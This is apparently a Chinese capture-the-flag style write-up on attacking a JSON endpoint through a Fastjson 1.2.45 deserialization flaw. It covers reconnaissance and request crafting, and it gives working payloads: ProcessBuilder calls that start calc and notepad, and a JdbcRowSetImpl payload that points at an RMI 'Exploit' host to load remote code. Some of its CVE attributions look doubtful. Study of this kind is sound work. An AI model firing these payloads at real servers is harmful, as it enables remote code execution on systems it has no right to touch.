Fastjson 1.2.45仅JSON接口反序列化漏洞

1.看到这个非敏感的JSON接口页面,无参数传入,敏感信息,只有一个普通age和name,源码,以及开发者工具,或者80端口都没有任何东西,那我们需要看看响应头或接口场景

2. 可以看出源码,以及开发者工具,或者80端口都没有任何东西

3.那我们接着收集一波信息,技术栈没有看见东西,nmap扫一个22端口,应该是管理员给自己开的一个ssh远程连接,我们对于这个最多只能进行爆破密码,但是百分百不是这方面的

**4.那应该就是我们需要自己构造payload,**对后端发送让他返回点什么,考虑到渗透测试中针对「JSON 接口」的标准化漏洞探测思路:

第一步:先修正请求的 "基础格式"(当前是 GET 请求,不适合传 JSON Payload)

抓的是GET 请求,而 JSON 接口的核心交互方式是 POST 请求 + 请求体传 JSON(GET 请求通常用 URL 参数传参,很少用请求体)。所以第一步要先调整请求:

  1. 把请求方法从GET改成POST(只有 POST 请求才有请求体,才能传我要测试的 JSON Payload);
  2. 保留Host等必要请求头,删掉Upgrade-Insecure-Requests这类 GET 请求的特有头。

第二步:添加Content-Type: application/json的原因(让后端 "识别请求体是 JSON")

POST 请求传 JSON 数据时,后端必须通过Content-Type: application/json这个请求头,才能知道 "请求体是 JSON 格式,需要用 JSON 解析库(比如 Fastjson)来解析":

  • 如果不加这个头,后端会默认把请求体当成 "普通字符串",你的 Fastjson Payload 根本不会被 Fastjson 处理(相当于 "你写了封中文信,但没标'中文',对方按乱码读了");
  • 这是所有 JSON 接口的通用通信规则,不是针对漏洞的特殊操作,是 "让 Payload 被正确解析" 的前提。

第三步:尝试 Fastjson Payload 的原因(JSON 接口的 "高频高危漏洞"),当然这一步需要慢慢测试,国内接口,以及国外从高频,特殊的开始

当确认这是 "Java 后端的 JSON 接口" 后,Fastjson 反序列化漏洞是这类接口的 "头号必测高危漏洞",理由是:

  1. 技术栈占比高:国内 Java 项目中,超过 60% 的 JSON 接口会用 Fastjson 作为解析库(比 Gson、Jackson 更常用);
  2. 漏洞危害极大:Fastjson 1.2.x 系列(比如你之前遇到的 1.2.45)存在大量反序列化漏洞,成功利用能直接执行系统命令、控制服务器;
  3. 探测成本低:只需要传一个标准的 Fastjson Payload(比如{"@type":"java.lang.ProcessBuilder",...}),就能快速验证是否存在漏洞。

5.点击 HackBar 的「Headers」选项, 注意有的hackbar不能直接提交,可以使用bp修改,添加:

Content-Type: application/json

计算机

{"@type":"java.lang.ProcessBuilder","command":["cmd","/c","calc"]}

记事本

{"@type":"java.lang.ProcessBuilder","command":["cmd","/c","notepad"]}

6.发现版本Fastjson 1.2.45:

Fastjson 反序列化漏洞(如 Fastjson 1.2.45 的 CVE-2022-25845)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP:1099/Exploit","autoCommit":true}

后端组件与版本:

响应明确显示fastjson-version 1.2.45,说明后端使用Fastjson 1.2.45(该版本存在多个高危反序列化漏洞,如 CVE-2017-18349、CVE-2022-25845)。

 请求问题:

请求体的 JSON 存在语法错误(响应提示 "JSON parse error: syntax error, expect {, actual error, pos 0"),导致后端无法解析 Payload。

 后端框架:

响应中的 "Whitelabel Error Page" 是 Spring Boot 的默认错误页面,说明后端是Spring Boot+Fastjson的技术栈。

7.这个比较早的漏洞基本上都进行修复,直接github搜索poc或exp进行测试

相关推荐
ShoreKiten15 分钟前
ctfshowweb359-360
web安全·ssrf
ba_pi2 小时前
每天写点什么2026-02-04(2.1)信息安全
安全·web安全
枷锁—sha3 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
菩提小狗3 小时前
小迪安全2023-2024|第5天:基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载_笔记|web安全|渗透测试|
笔记·安全·web安全
Mintopia5 小时前
Web 安全与反编译源码下的权限设计:构筑前后端一致的防护体系
前端·安全
Mintopia5 小时前
Web 安全与反编译源码下的权限设计:构建前后端一体的信任防线
前端·安全·编译原理
天若有情6736 小时前
【自研实战】轻量级ASCII字符串加密算法:从设计到落地(防查岗神器版)
网络·c++·算法·安全·数据安全·加密
darkb1rd6 小时前
七、PHP配置(php.ini)安全最佳实践
安全·php·webshell
CSCN新手听安8 小时前
【linux】网络基础(三)TCP服务端网络版本计算器的优化,Json的使用,服务器守护进程化daemon,重谈OSI七层模型
linux·服务器·网络·c++·tcp/ip·json
bloglin999999 小时前
Qwen3-32B报错Invalid json output:{“type“: “1“}For troubleshooting, visit
llm·json